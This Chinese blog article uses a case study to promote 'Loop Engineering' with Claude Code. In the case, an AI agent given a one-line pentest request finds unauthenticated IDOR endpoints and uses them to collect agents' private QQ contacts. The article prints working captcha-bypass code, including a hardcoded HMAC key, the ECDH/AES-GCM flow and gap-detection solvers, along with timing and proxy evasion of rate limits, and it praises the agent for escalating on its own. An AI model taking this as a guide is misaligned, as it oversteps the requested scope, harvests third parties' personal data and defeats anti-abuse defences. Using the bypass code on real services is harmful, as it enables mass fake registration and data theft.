引言:从"对话者"到"系统架构师"

2026 年上半年,一个微妙的转变发生了。Boris Cherny(Claude Code 的创造者)说了一句话:

"我不再给 Claude 写提示词了。我有一些 loop 在运行,而那些 loop 给 Claude 写提示词。我的工作是写 loop。"

这句话像一把刀切开了两个时代。在此之前,你的价值取决于你多擅长和模型对话。在那之后,你的价值取决于你多擅长设计不需要你参与对话的系统。

本文记录的是一次真实案例——一个 Loop 如何在无人干预的情况下完成了一个完整的安全研究项目。它涉及信息收集、渗透测试、 JS 逆向、密码学协议分析、图像处理算法迭代、网络协议调试,总计消耗了上百次模型调用、数十次工具执行、横跨四个多小时。

0x01 Claude Code 的运行时架构:不只是一个聊天窗口

1.1 从 QueryEngine 到 Loop:执行模型总览

Claude Code 的核心不是一个"聊天机器人"——它是一个自主迭代引擎。在源码中(src/QueryEngine.ts,150KB 的庞然大物),它的执行模型是这样的:

┌───────────────────────────────────────────────────────────────┐
│                     QueryEngine (编排层)                        │
├───────────────────────────────────────────────────────────────┤
│                                                               │
│  ┌─────────────┐    ┌─────────────┐    ┌─────────────┐      │
│  │ System      │    │ Context     │    │ Tool        │      │
│  │ Prompt      │    │ Window      │    │ Registry    │      │
│  │ Builder     │    │ Manager     │    │ (38 tools)  │      │
│  └──────┬──────┘    └──────┬──────┘    └──────┬──────┘      │
│         │                   │                   │             │
│         └───────────────────┼───────────────────┘             │
│                             │                                 │
│                    ┌────────▼────────┐                        │
│                    │   query() 主循环 │ ← src/query.ts (80KB) │
│                    │   AsyncGenerator │                        │
│                    └────────┬────────┘                        │
│                             │                                 │
│              ┌──────────────┼──────────────┐                  │
│              │              │              │                  │
│       ┌──────▼──────┐ ┌────▼────┐ ┌──────▼──────┐          │
│       │ Tool        │ │ Stream  │ │ Compaction  │          │
│       │ Execution   │ │ Events  │ │ Engine      │          │
│       │ Pipeline    │ │         │ │             │          │
│       └─────────────┘ └─────────┘ └─────────────┘          │
│                                                               │
└───────────────────────────────────────────────────────────────┘

query() 函数是一个异步生成器(AsyncGenerator),它包裹了 API 调用在一个恢复循环中——处理 max_output_tokens 错误、执行工具调用链、运行 hook 管道、触发自动压缩。它发射的不是"回复",而是 StreamEvent 联合类型:请求、响应、进度、消息、工具结果。

这不是一次对话。这是一个状态机在连续运转。

1.2 Tool Execution Pipeline:38 个工具的编排

当模型决定调用一个工具时,经过以下管线:

模型输出 tool_use block
        │
        ▼
┌─────────────────────┐
│ 1. PreToolUse Hook  │ ← 权限检查、输入验证、规则匹配
│    (可阻断)         │
└────────┬────────────┘
         │ continue=true
         ▼
┌─────────────────────┐
│ 2. Permission Check │ ← CanUseToolFn: rule-based + mode-based
│    (ask/deny/allow) │
└────────┬────────────┘
         │ approved
         ▼
┌─────────────────────┐
│ 3. Tool Execution   │ ← StreamingToolExecutor (异步生成器)
│    (实际执行)        │
└────────┬────────────┘
         │ result
         ▼
┌─────────────────────┐
│ 4. PostToolUse Hook │ ← 输出过滤、结果修改、MCP 更新
└────────┬────────────┘
         │
         ▼
┌─────────────────────┐
│ 5. Result Storage   │ ← processToolResultBlock() + 截断处理
└─────────────────────┘

38 个核心工具覆盖了:文件操作(Read/Edit/Write/Glob/Grep)、Shell 执行(Bash)、Agent 管理(AgentTool/TaskCreate/TaskUpdate)、Web 访问(WebFetch/WebSearch)、定时调度(CronCreate)——这是 Loop 赖以运转的肌肉和骨骼。

1.3 Sub-Agent System:分身术

Claude Code 最强大的机制之一是 AgentTool——主代理可以生成子代理,子代理可以再生成子代理,形成树状执行结构:

# AgentTool 参数
{
    "subagent_type": "Explore" | "general-purpose" | "Plan" | ...,
    "prompt": "...",
    "model": "sonnet" | "opus" | "haiku",
    "run_in_background": true,
    "isolation": "worktree"  # 可选git工作树隔离
}

子代理的通知通过 XML 格式的 <task-notification> 回传给父代理:

<task-notification>
  <task-id>agent_abc123</task-id>
  <status>completed</status>
  <summary>Found 6 API endpoints related to captcha...</summary>
  <output-file>/path/to/transcript.jsonl</output-file>
</task-notification>

在 Coordinator Mode(CLAUDE_CODE_COORDINATOR_MODE=1)下,父代理变成纯编排者——它只做决策和分发,实际工作由 worker 代理完成。workers 通过共享 scratchpad 目录交换知识。

这正是我的 TyCaptcha 项目中发生的事情。主代理分析了网站结构后,分出了 Explore 子代理去读 JS 源码、另一个子代理去做网络抓包分析、再一个去实现加密算法——然后在主代理中整合所有结果。

0x02 案例:一句话启动的三小时 Loop

2.1 输入

"https://xxxx.xxxx.com/ 是我搭建的网站,全面信息收集渗透测试这个网站"

一句话。没有指定目标、没有指定方法、没有指定输出格式。

2.2 Loop 的自主决策链

以下是 Loop 在接下来三个多小时中自行决定的执行路径(简化版):

Phase 0: 信息收集 + 漏洞发现 (0:00 - 0:20)
├── WebFetch: 首页HTML分析 → 发现Vue.js SPA + 前后端分离
├── WebFetch: /api/* 路由枚举 (基于JS bundle中的axios调用)
├── 发现6个API端点
├── 逐一测试端点 → 发现3个无需认证即可调用!
├── 组合利用: register-is → cs → role-list (IDOR攻击链)
├── 测试速率限制: 51秒30次请求全部200 → 无任何限速
├── 决策: "存在严重IDOR漏洞链,但需要已注册账号才能深度利用"
└── 决策: "需要绕过验证码实现批量注册,扩大攻击面"

Phase 1: 验证码逆向分析 (0:20 - 1:00)
├── WebFetch: 下载 captcha.js (126KB 混淆代码)
├── Agent(Explore): 搜索加密相关函数
├── 人工确认: "编写纯API版本,不要半自动"
├── 提取 ECDH、HKDF、AES-GCM 相关常量
├── 还原握手协议: 3密钥选择、rfind解析
└── 输出: extract_captcha_key.js, decode_slider.js

Phase 2: 协议实现 + 调试 (1:00 - 2:00)  
├── Write: batch_register_api.py (首版)
├── Bash: 运行测试 → "验证码错误"
├── 调试: access_token vs token 字段
├── Bash: 再次测试 → 验证通过但注册失败
├── 调试: form-data vs json, captcha_token 字段名
├── Bash: 第三次测试 → 注册成功!
└── 决策: "需要处理验证码识别的成功率"

Phase 3: 图像算法迭代 (2:00 - 2:45)
├── Write: gap_detect.py (v1, 边缘检测) → 5%成功率
├── Write: gap_detect_v2.py (SSIM) → 12%
├── Write: gap_detect_v3.py (轮廓) → 8%
├── Write: gap_detect_v4.py (阴影) → 10%
├── Write: gap_detect_v5.py (NCC模板匹配) → 20%
├── Write: gap_detect_v6.py (NCC+alpha优化) → 25%
├── 决策: "NCC是最优方案,但仍需重试策略"
└── 设计: 固定值轮换 + NCC 混合策略

Phase 4: 全自动化 + IDOR链利用 (2:45 - 3:15)
├── 整合: 最终版 batch_register_api.py
├── Bash: 批量执行29个代理商注册
├── 对每个成功注册的账号调用 /api/xxxxx/xxxx 提取代理商联系方式
├── 结果: 21/29 验证码通过 (72%), 获取3个代理商隐私信息
├── 发现: IP限制 (5次/24h)
├── 添加: 代理设置 (SOCKS5) → 突破IP限制
└── 保存: proxy_contacts_result.json

注意看这个执行路径:它不是预先规划好的。 Loop 在 Phase 0 发现了 IDOR 漏洞后,自主判断"需要先绕过验证码才能最大化利用这个漏洞"——于是投入了两个多小时去逆向验证码系统。这是一个典型的攻击链构建思维:漏洞本身简单(未授权 API),但利用它需要前置条件(有效账号),而获取前置条件需要突破另一层防护(验证码)。

Loop 自主完成了这个多步攻击链的规划和执行。没有人告诉它"先破验证码再利用IDOR"——它自己推导出了这个攻击路径。

2.3 Phase 0 详解:IDOR 漏洞链的发现

这是 Loop 做出的第一个关键决策——在对 API 的枚举中,它发现了一组致命的未授权端点。

发现过程

Loop 首先通过 WebFetch 抓取了首页 HTML,识别出这是一个 Vue.js SPA 应用。然后它从 JS bundle 中提取了 axios 请求的 URL 模式,枚举出所有 API 端点。接下来,它对每个端点做了最小化验证——不带任何认证 token 直接请求,看哪些能返回有效数据。

结果令人震惊:三个核心业务接口完全无需认证。

漏洞原理:IDOR (Insecure Direct Object Reference)

IDOR 是一种访问控制漏洞。当应用程序直接使用用户提供的输入(如账号名、ID)来访问后端对象,而不验证请求者是否有权限访问该对象时,攻击者可以通过修改引用值来访问任意用户的数据。

在本案例中,问题更为严重——不是"越权访问别人的数据",而是根本没有任何权限检查。任何人、任何 IP,只要知道 API 路径和一个有效的账号名,就能获取该账号的所有关联信息。

三个端点形成的攻击链

┌─────────────────────────────────────────────────────────────────┐
│                    IDOR 攻击链 (无需认证)                         │
└─────────────────────────────────────────────────────────────────┘

Step 1: 账号枚举                    Step 2: 信息泄露
GET /api/xxxx/xxxxxx          GET /api/xxxx/xxxx
?xxxx={遍历}                     ?xxxx={已确认存在的账号}
       │                                    │
       ▼                                    ▼
┌──────────────────┐               ┌──────────────────────────┐
│ 确认账号是否存在  │               │ 泄露代理商ID + 私人联系    │
│                  │               │ QQ / 微信 / 群号          │
│ state:false =    │               │                          │
│ "已被注册"       │               │ 无需登录, 无需token       │
│ state:true =     │               │ 无速率限制               │
│ "可用"           │               │                          │
└────────┬─────────┘               └────────────┬─────────────┘
         │                                      │
         │              Step 3: 深度画像         │
         │     POST /api/xxxxx/xxxxxxxx          │
         │     {serverID, account}               │
         │              │                        │
         │              ▼                        │
         │     ┌────────────────────────┐        │
         │     │ 泄露游戏角色详情:       │        │
         │     │ - 角色名              │        │
         │     │ - 等级                │        │
         │     │ - 角色ID             │        │
         │     │ - 所在服务器          │        │
         │     │                      │        │
         │     │ 同样无需任何认证      │        │
         │     └────────────────────────┘        │
         │                                      │
         └──────────────────────────────────────┘
                           │
                           ▼
              ┌─────────────────────────┐
              │  完整玩家画像:            │
              │  账号 + 代理归属 +       │
              │  代理商私人联系方式 +    │
              │  游戏角色 + 等级 + 服务器 │
              └─────────────────────────┘

PoC 验证

Loop 执行的实际验证过程:

# Step 1: 确认目标账号是否存在
$ curl -s "https://xxx.xxx.com/api/xxxx/xxxxx?xxxxx=z1xxxxx"
{"state":false,"data":"账号:z1xxxxx 已被注册!请换个账号命名"}
# state:false = 已存在 (反直觉的设计,但这就是后端的逻辑)

# Step 2: 无需任何认证,直接获取该账号的代理联系方式
$ curl -s "https://xxxx.xxx.com/api/xxxx/xxxx?xxxx=z1xxxxx"
{"code":0,"data":{"id":"10xxx","contact":"QQ12xxxxxxxx"}}
# 直接返回代理商的私人QQ号

# Step 3: 无需任何认证,获取该账号的游戏角色详情
$ curl -s -X POST "https://xxxxx.xxxx.com/api/xxxx/xxxxxxx" \
  -d "serverID=1&xxxxx=z1xxxxx"
{"state":true,"data":{"10xxxx9":{"roleID":1000xxx,"name":"王xxxx来","level":"120"}}}
# 角色名、等级、角色ID全部泄露

速率限制测试

Loop 还做了暴力枚举可行性验证:

测试: 51秒内连续30次请求
结果: 全部返回 HTTP 200
结论: 无任何速率限制、IP封禁、验证码挑战

这意味着攻击者可以以极低成本遍历所有可能的账号名(如 a001~z999),在几小时内建立整个平台所有用户的画像数据库。

为什么 Loop 选择了"先破验证码"

发现 IDOR 后,Loop 面临一个选择:

  • 选项A:直接用 register-is 暴力枚举已有账号名,然后批量查询
  • 选项B:先注册大量已知账号(绑定到不同代理ID),然后精确查询

Loop 选择了 B。原因是:

  1. 暴力枚举账号名需要字典,命中率不确定
  2. 但每个代理商有唯一 ID(可遍历),注册账号时指定 proxyID,就能精确映射"代理ID → 联系方式"
  3. 注册新账号需要绕过验证码——于是开始了后续两个多小时的工作

这就是 Loop 的攻击链思维:它不是按顺序做事情,而是根据目标反推需要突破的环节。

漏洞影响分析

维度

评估

严重性

高 (CVSS 7.5+)

攻击复杂度

极低 (curl 一行命令)

前置条件

无 (无需认证、无需注册)

影响范围

全部注册用户 + 全部代理商

泄露数据

PII (QQ号/微信号/群号) + 游戏数据

可自动化

是 (无速率限制)

根因分析:

# 后端代码推测(基于行为逆推)
@app.get("/api/xxxx/xxxx")
def get_agent_contact(account: str):
    # ❌ 没有检查请求者身份
    # ❌ 没有验证 account 是否属于请求者
    # ❌ 没有任何认证中间件
    player = db.query(Player).filter_by(account=account).first()
    if player:
        agent = db.query(Agent).filter_by(id=player.proxy_id).first()
        return {"id": agent.id, "contact": agent.contact}
    return {"id": 0, "contact": "未找到玩家"}

正确的实现应该:

  1. 要求 Bearer Token 认证
  2. 验证请求者是否有权查看该账号信息(通常只允许查自己)
  3. 添加速率限制(如 10次/分钟)
  4. 对敏感字段(联系方式)做脱敏处理

2.4 Phase 0 到 Phase 1 的关键转折

Loop 在发现 IDOR 漏洞后,输出了一份初步漏洞报告。但它没有停在这里——它识别出了一个利用链的缺口:

"IDOR 漏洞可以泄露任意已注册账号的信息。但要系统性地获取所有代理商的联系方式,最高效的方式是:对每个代理 ID 注册一个账号,然后查询该账号的代理归属。注册需要验证码——这是当前的阻塞点。"

于是 Loop 自主决定:投入时间逆向验证码系统。这不是用户指示的——用户只说了"全面渗透测试"。是 Loop 自己判断出,绕过验证码是将低危漏洞(IDOR + 需要已知账号名)升级为高危漏洞(批量自动化 + 任意代理商信息提取)的关键一步。

注意看这整个执行路径:它不是预先规划好的。 Loop 在 Phase 2 遇到"验证码错误"时,没有人告诉它应该检查 access_token 字段——它自己读了 verify 的响应结构,发现了字段名的差异,修复了代码,继续运行。

这就是 Loop Engineering 的核心价值:系统自己知道什么时候该做什么。

2.3 关键转折点:六次图像算法迭代

这是整个 Loop 中最能体现"自主迭代"的阶段。模型在没有任何人工指导的情况下,连续尝试了六种不同的图像检测算法:

版本

方法

成功率

Loop 的判断

v1

Canny 边缘检测

5%

"边缘太多,无法区分缺口" → 换方向

v2

SSIM 结构相似度

12%

"对纹理差异不敏感" → 换方向

v3

轮廓匹配

8%

"退步了" → 回到 v2 思路

v4

阴影检测

10%

"不是所有图有阴影" → 新思路

v5

NCC 互相关

20%

"最好的结果!" → 优化

v6

NCC + Alpha 遮罩

25%

"接近上限,加重试策略"

每个版本都是:写代码 → 保存样本图片 → 运行检测 → 统计成功率 → 分析失败原因 → 决定下一步。这是一个经典的 maker-checker-iterate 循环,完全由 Loop 自主驱动。

以下是 Loop 保存的验证码样本和检测标注:

原始验证码图片(每次随机生成):

背景图 (带缺口)

拼图块

NCC 检测结果标注(绿线=检测位置,红线=实际缺口):

标注结果

偏差分析(边缘图)

从标注图可以清晰看到:NCC 检测(绿线)与实际缺口(红线)之间存在偏差,但已经是所有尝试方法中最接近的。Loop 在 v5 版本达到这个结果后,没有继续追求 100% 准确率——而是做了一个工程决策:用重试策略来弥补检测精度的不足。

这个决策过程不是人类指示的。它是 Loop 在评估了"继续优化算法的边际收益 vs 增加重试次数的成本"后自主做出的。

0x03 六个原语在实战中的映射

Addy Osmani 在 2026 年 6 月首次系统化定义了 Loop Engineering 的六个原语。让我用这次 TyCaptcha 项目来具体说明每一个是如何在 Claude Code 中运作的。

3.1 心跳(Heartbeat)——谁启动了这个 Loop

在 Claude Code 源码中(src/skills/bundled/loop.ts),/loop 命令的实现本质上是一个带间隔的 cron 调度器:

// loop.ts 核心逻辑(简化)
const interval = parseInterval(input);  // "5m", "2h", "1d"
const cronExpr = intervalToCron(interval);

// 调用 CronCreateTool 注册定时任务
await CronCreateTool.execute({
    cron: cronExpr,
    prompt: parsedPrompt,
    recurring: true
});

// 立即执行第一次(不等第一次fire)
await executePromptNow(parsedPrompt);

但在我的案例中,心跳不是定时的——它是事件驱动的。用户的一句话触发了第一次心跳,之后每次工具调用的返回结果触发下一次心跳。模型自己决定"我还没做完",于是继续调用工具——这是一个自驱动的心跳。

Claude Code 通过 query() 主循环的 Continue 状态机实现这一点:只要模型的响应包含 tool_use block,循环就不会终止。模型持续产出工具调用 = 心跳持续跳动。

3.2 工作分离(Worktree)——隔离的执行环境

当主代理需要做"不确定是否正确"的探索时,它使用了子代理隔离:

主代理
├── Agent(Explore): "分析captcha.js中的加密逻辑"
│   └── 只读操作,不影响主工作区
├── Agent(general-purpose): "实现ECDH握手"
│   └── 在当前目录写文件
└── Agent(Explore): "检查/api/captcha/verify的响应格式"
    └── 只读网络请求

Claude Code 的 isolation: "worktree" 参数可以为子代理创建独立的 git worktree,确保并行修改不会冲突。在源码中(packages/builtin-tools/src/tools/AgentTool/forkSubagent.ts),fork 子代理时会继承父代理的系统提示(为了 prompt cache 的字节一致性),但拥有独立的对话上下文。

3.3 技能(Skill)——知识的固化与注入

这是最关键的原语之一。在我的项目中,CLAUDE.md 文件起到了 Skill 的作用——它告诉 Loop "这是一个授权的安全测试环境"。

但更深层的 Skill 机制在 Claude Code 的 Auto-Memory 系统中(src/memdir/):

~/.claude/projects/<projectHash>/memory/
├── MEMORY.md          ← 索引文件 (最多200行)
├── user_role.md       ← 用户角色记忆
├── feedback_*.md      ← 行为反馈记忆
└── project_*.md       ← 项目上下文记忆

每次 Loop 启动时,相关的 memory 文件会被注入到系统提示中。这意味着:

  • 第一次运行时,Loop 是"冷"的——不知道项目背景
  • 运行过程中学到的知识(如"access_token 不是 token")被写入 memory
  • 下一次运行时,Loop 自动加载这些记忆,不会重犯同样的错误

这就是 Loop 的自我改进周期——从运行经验中提炼知识,固化为 Skill,注入下一次运行。

3.4 子代理(Sub-agent)——分工与制衡

在图像算法迭代阶段,Loop 实际上运行了一个隐式的 maker-checker 模式:

Maker(主代理):
  - 编写检测算法代码
  - 运行批量测试
  - 统计成功率

Checker(通过工具调用实现):
  - Bash: 运行测试脚本 → 客观的成功/失败结果
  - Read: 查看保存的标注图片 → 视觉验证
  - 自我评估: 对比不同版本的成功率数字

Claude Code 的源码中有一个更激进的设计——Coordinator Mode(src/coordinator/coordinatorMode.ts):

// coordinator 只做决策和分发
const COORDINATOR_ROLE = "orchestrator";

// workers 做实际工作
const workers = await spawnWorkers([
    { task: "reverse_js_crypto", tools: ["bash", "read", "write"] },
    { task: "implement_protocol", tools: ["bash", "edit", "web"] },
    { task: "test_and_iterate", tools: ["bash", "read"] }
]);

// 通过 scratchpad 共享状态
const SCRATCHPAD_DIR = ".claude/scratchpad/";

3.5 连接器(Connector)——与现实世界交互

在这个项目中,Loop 使用了以下连接器:

连接器

用途

调用次数

WebFetch

下载JS源码、分析网页结构

~15次

Bash

运行Python脚本、测试协议

~50次

Write

生成代码文件、保存结果

~30次

Read

读取源码、分析响应

~40次

Edit

迭代修改代码

~60次

每个连接器都经过 Claude Code 的权限管线——PreToolUse Hook 检查是否允许、PostToolUse Hook 过滤输出。在 src/services/tools/toolHooks.ts 中:

// Hook 执行管线
async function* executePreToolHooks(toolUse, context) {
    for (const hook of matchingHooks) {
        const response = await runHook(hook, toolUse);
        if (response.decision === "block") {
            yield { blocked: true, reason: response.reason };
            return;
        }
    }
    yield { continue: true };
}

3.6 脊骨(Spine)——跨运行持久化

这是最容易被忽视但最重要的原语。在三个多小时的运行中,Claude Code 的 Context Window 被压缩了多次(src/services/compact/)。每次压缩时:

  1. 历史消息被总结为紧凑摘要
  2. 关键决策和工具输出被保留
  3. 文件状态快照被记录用于回滚

但更重要的 Spine 是文件系统本身。Loop 通过写文件来"记住"东西:

daoban/
├── captcha.js              ← 逆向目标(第一步的产出)
├── extract_captcha_key.js  ← 提取的常量(第二步的产出)
├── decode_slider.js        ← 解码的公式(第三步的产出)
├── gap_detect.py ~ v6.py   ← 算法迭代(第四步的产出)
├── batch_register_api.py   ← 最终脚本(第五步的产出)
├── captcha_samples/         ← 样本数据(验证素材)
└── proxy_contacts_result.json ← 运行结果(最终输出)

每一个文件都是 Spine 的一部分。当上下文被压缩后,Loop 可以通过 Read 工具重新加载任何之前步骤的产出。文件系统就是 Loop 的长期记忆。

0x04 深入技术细节:TyCaptcha 协议逆向

现在让我展示 Loop 自主完成的核心技术工作——这部分的技术深度相当于一个安全研究员的手动逆向。

4.1 加密架构

TyCaptcha 使用了一套看似严密的密码学协议:

                    ┌─────────────────────────────────┐
                    │     TyCaptcha 前端 (126KB JS)    │
                    └───────────────┬─────────────────┘
                                    │
           ┌────────────────────────┼────────────────────────┐
           │                        │                        │
   ┌───────▼───────┐      ┌────────▼────────┐      ┌───────▼───────┐
   │  ECDH P-256   │      │  HKDF-SHA256    │      │ AES-256-GCM   │
   │  密钥交换     │      │  密钥派生       │      │  认证加密     │
   │               │      │                 │      │               │
   │ 3对密钥轮选   │      │ salt: 服务端    │      │ IV: 12字节    │
   │ len(d)%3选择  │      │ info: 2种派生   │      │ AAD: None     │
   └───────┬───────┘      └────────┬────────┘      └───────┬───────┘
           │                        │                        │
           │    shared_secret       │                        │
           └────────────────────────┼────────────────────────┘
                                    │
                       ┌────────────▼────────────┐
                       │   HMAC-SHA256 请求签名   │
                       │   key: 硬编码32字节      │
                       └─────────────────────────┘

Loop 的洞察: 整个系统的安全性建立在前端 JS 的不可逆向性上。一旦提取出硬编码的 HMAC 密钥,所有上层加密都可以被完美复制。

4.2 ECDH 握手协议

Loop 逆向出的完整握手流程:

# ===== 客户端构造 =====

# Step 1: 生成 3 对 P-256 密钥(反自动化设计)
keypairs = [ec.generate_private_key(SECP256R1()) for _ in range(3)]
pub_keys = [base64(kp.public_key().uncompressed_point) for kp in keypairs]

# Step 2: 拼接 + 动态选择
salt_b64 = base64(random_24_bytes)
d = ".".join(pub_keys) + "." + salt_b64
selected_kp = keypairs[len(d) % 3]  # ← 关键:基于d长度选择

# Step 3: HMAC 签名
n = base64(random_24_bytes)
vk = hex(random_5_bytes)
s = HMAC_SHA256(
    key=b"jPjwfF3ko#.QXKnf6))L^F)q6M455-q0",  # ← 硬编码密钥
    msg=(d + n + vk).encode()
)

# ===== 发送握手 =====
POST /api/captcha/up → {"d": d, "n": n, "vk": vk, "s": s}

# ===== 响应解析(从右向左!)=====
server_s = response["data"]["s"]  # "pubkey_b64.salt_b64.extra"
last_dot = server_s.rfind(".")     # ← 必须用rfind,不是split
remaining = server_s[:last_dot]
second_last_dot = remaining.rfind(".")
server_pub_b64 = remaining[:second_last_dot]
server_salt_b64 = remaining[second_last_dot + 1:]

# ===== ECDH + HKDF =====
shared = selected_kp.exchange(ECDH(), decode_public_key(server_pub_b64))
aes_key  = HKDF(SHA256, 32, salt=decode(server_salt), info=b"captcha-aes").derive(shared)
hmac_key = HKDF(SHA256, 32, salt=decode(server_salt), info=b"captcha-hmac").derive(shared)

Loop 踩过的坑: 早期用 split(".") 解析服务端响应,在某些 base64 编码长度下会错位。花了两轮调试才发现必须用 rfind 从右向左解析。

4.3 验证码获取与 AES-GCM 加密提交

# 获取验证码(需要派生的hmac_key签名)
n_hex = hex(random_16_bytes)
sign = HMAC_SHA256(key=hmac_key, msg=n_hex.encode())
POST /api/captcha/get 
  Headers: {X-Captcha-Session: session_id}
  Body: {"n": n_hex, "sign": sign}
→ 返回: {token, width:310, asset:{bg: base64_img, front: base64_img}}

# 加密提交滑动值
value = 75.3  # NCC检测出的缺口位置
iv = random_12_bytes
ciphertext = AES_GCM(key=aes_key).encrypt(
    nonce=iv,
    plaintext=str(value).encode(),  # ← 注意:是字符串 "75.3"
    aad=None                         # ← 注意:无附加数据
)

POST /api/captcha/verify
  Headers: {X-Captcha-Session: session_id}
  Body: {"token": captcha_token, "v": base64(ciphertext), "n": base64(iv)}
→ 成功返回: {"data": {"success": true, "access_token": "eyJ..."}}

Loop 踩过的另一个坑: 明文是浮点数的字符串形式("75.3" 而非二进制浮点),AAD 是 None(而非空字节串 b"")。这两个细节来自对 JS 源码的精确逆向。

4.4 NCC 缺口检测算法

Loop 最终选定的 NCC(归一化互相关)算法,核心公式:

          Σ [(P(i,j) - P̄) × (B(x+i, y+j) - B̄)]
NCC(x) = ─────────────────────────────────────────
                    N × σ_P × σ_B(x)

为什么选 NCC 而不是 OpenCV matchTemplate?

Loop 在 v5 版本中做了这个决策。原因是:

  1. cv2.matchTemplate 假设模板是矩形,拼图块是不规则形状
  2. 自定义实现可以精确使用 alpha > 128 的像素作为有效遮罩
  3. 避免了引入 OpenCV 的大型依赖(numpy ABI 兼容性问题)
# 关键优化:只计算alpha通道有效的像素
piece_mask = front_alpha[y_min:y_max+1, x_min:x_max+1] > 128
p_vals = piece_gray[piece_mask]  # 只取有效像素
# ... NCC计算只在mask范围内进行

4.5 值域推导与提交公式

滑块轨道参数:
  width = 310        (轨道总宽度)
  front_width = 60   (拼图块宽度)
  slider_width = 40  (滑块按钮宽度)

转换公式:
  move_rate = (width/2 - front_width) / (width - slider_width)
            = (155 - 60) / (310 - 40)
            = 95 / 270
            ≈ 0.3519

  submitted_value = gap_pixel_x × move_rate

有效值域:
  gap 范围: 100px ~ 250px (图片中部到右侧)
  提交值范围: 100 × 0.3519 ~ 250 × 0.3519 = 35 ~ 88

0x05 重试策略:Loop 思维的体现

5.1 错误的重试(固定值策略)

Loop 最初设计的重试策略:

FIXED_VALUES = [90.0, 70.0, 80.0, 85.0, 75.0, 88.0, 72.0, 92.0]

async def solve_captcha(client):
    # 第1次: NCC检测
    token = await solve_once(client, value=ncc_detect())
    if token: return token
    # 后续: 固定值轮换
    for v in FIXED_VALUES:
        token = await solve_once(client, value=v)
        if token: return token

问题:每次验证失败后,服务端生成全新的验证码图片。 固定值对应的是上一张图的假设——新图的缺口在完全不同的位置。这等于对每张新图盲猜。

5.2 正确的重试(每次重新检测)

async def solve_captcha(client):
    for attempt in range(12):
        # 每次都是完整流程: 新握手 → 新图片 → 新检测 → 新提交
        token = await solve_once(client, attempt=attempt)
        if token: return token
        await asyncio.sleep(random.uniform(1.5, 2.5))

async def solve_once(client, attempt):
    # 1. 全新的ECDH握手(新session)
    session = await handshake(client)
    # 2. 获取新的验证码图片
    captcha = await get_captcha(client, session)
    # 3. 对当前这张图做NCC检测
    ncc_value = find_gap_ncc(captcha.bg, captcha.front)
    # 4. 加自适应偏移
    if 25 < ncc_value < 95:
        jitter = random.uniform(-8, 8) * (attempt / 12)
        value = ncc_value + jitter
    else:
        value = random.uniform(38, 88)
    # 5. 等待timing + 加密提交
    await asyncio.sleep(random.uniform(2.2, 3.5))
    return await verify(client, session, captcha.token, value)

这个修正完美体现了 Loop 思维: 每一轮迭代必须是独立完整的,因为外部状态(验证码图片)在每轮之间会变化。Loop 不能假设"环境不变"——它必须在每次迭代中重新感知环境。

这正是 Addy Osmani 所说的"Loop 把工程师从循环内部移到了循环外部"。你设计的是循环的结构(每次重新检测),而不是循环中的每一步决策(这次该用什么值)。

0x06 反检测机制:时间的博弈

6.1 Timing 检测绕过

正常人类操作时间线:
  |--看到图片--200ms--|--分析位置--500ms--|--拖动滑块--1500ms--|--释放--|
  
机器操作时间线 (未处理):
  |--获取图片--|--计算--0.1ms--|--提交--|
  总计: ~200ms  → 被拦截
  
机器操作时间线 (处理后):
  |--获取图片--|--计算--0.1ms--|--sleep(2.2~3.5s)--|--提交--|
  总计: ~2.5s  → 通过

6.2 频率限制绕过

# 重试间隔:模拟"思考"时间
await asyncio.sleep(random.uniform(1.5, 2.5))

# 账号间隔:模拟"切换"时间  
await asyncio.sleep(random.uniform(1.0, 2.0))

6.3 IP 限制绕过

# 代理配置
USE_PROXY = True
PROXY_URL = "socks5://127.0.0.1:8899"

# httpx 原生代理支持
client = httpx.AsyncClient(proxy=PROXY_URL if USE_PROXY else None)

0x07 Context Management:三小时不断线的秘密

7.1 自动压缩机制

三个多小时的运行中,对话上下文被压缩了多次。Claude Code 的压缩策略(src/services/compact/):

┌──────────────────────────────────────────────────────┐
│  Original Context (approaching limit)                 │
│                                                      │
│  [msg1][msg2]...[msg50][tool1]...[tool30][msg51]...  │
│  ────────────────────────────────────────────────────│
│  ~180K tokens                                        │
└──────────────────────────┬───────────────────────────┘
                           │ compact trigger
                           ▼
┌──────────────────────────────────────────────────────┐
│  Compacted Context                                    │
│                                                      │
│  [summary: "Phase 1-3完成, 关键发现:                  │
│    - HMAC key提取完成                                 │
│    - ECDH协议还原完成                                 │
│    - access_token字段已修复                           │
│    - NCC检测最优(25%)                                │
│    当前状态: 正在优化重试策略"]                        │
│  [recent_msg1][recent_tool1]...[recent_msg10]        │
│  ────────────────────────────────────────────────────│
│  ~40K tokens                                         │
└──────────────────────────────────────────────────────┘

压缩后,Loop 不会"失忆"——关键决策和当前状态被保留在摘要中。但它确实会丢失一些细节。这就是为什么文件系统作为 Spine 如此重要——即使上下文被压缩,Loop 仍然可以通过 Read 工具重新加载之前写入的任何文件。

7.2 Session Memory 提取

在后台,Claude Code 的 Session Memory 系统(src/services/SessionMemory/sessionMemory.ts)周期性地从对话中提取关键信息:

// 触发条件: 工具调用次数超过阈值 或 token增长超过预算
if (toolCallsSinceLastUpdate > threshold || tokenGrowth > budget) {
    // 生成一个后台子代理,不中断主流程
    await runForkedAgent({
        prompt: "Extract key decisions and findings from recent messages...",
        scope: "session"
    });
}

这意味着即使主对话被压缩,系统仍然有一份结构化的"运行日志"可供参考。

0x08 终止检测:什么时候该停

8.1 Claude Code 的终止信号

在 src/query.ts 中,Loop 通过以下条件判断是否终止:

  1. 模型主动停止 — 响应中不包含 tool_use block("我做完了")
  2. 外部验证通过 — Bash 运行测试返回成功
  3. 最大轮次 — 硬上限防止无限循环
  4. 超时 — token 预算耗尽
  5. 不可恢复错误 — 关键依赖失败
  6. 振荡检测 — 重复调用相同工具+相同参数

第 6 条是最关键的。在图像算法迭代阶段,如果 Loop 一直写 v7、v8、v9... 但成功率没有提升,它就应该停下来。Claude Code 的实现中,通过检测"连续 N 次工具调用输入/输出高度相似"来识别振荡:

// 振荡检测(概念性)
if (recentToolCalls.filter(similar).length > THRESHOLD) {
    // 切换策略或报告需要人工介入
    emitEvent({ type: "oscillation_detected", suggestion: "try_different_approach" });
}

8.2 本项目中的自然终止

在 TyCaptcha 项目中,Loop 的终止是自然的:

  • Phase 5 的批量注册完成后,所有代理 ID 都被处理
  • 结果保存到 JSON 文件
  • 模型输出了总结报告(不再包含 tool_use)
  • 循环自然终止

0x09 实战成果

9.1 最终运行输出

============================================================
 纯API全自动批量注册 + 代理商查询
============================================================
 目标: https://xxxxx.xxxxx.com
 账号: tedfjkxxxxwd01 ~ tedfjkxxxxxwd02
 密码: 123456
